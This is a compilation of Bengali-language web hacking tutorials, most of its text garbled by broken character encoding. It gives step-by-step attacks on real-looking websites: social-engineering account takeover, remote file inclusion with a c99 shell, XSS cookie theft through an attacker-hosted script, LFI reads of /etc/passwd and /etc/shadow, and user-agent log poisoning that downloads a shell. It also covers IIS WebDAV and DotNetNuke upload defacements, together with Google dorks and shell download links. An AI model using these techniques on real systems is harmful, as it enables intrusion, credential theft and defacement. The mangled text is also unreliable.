1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
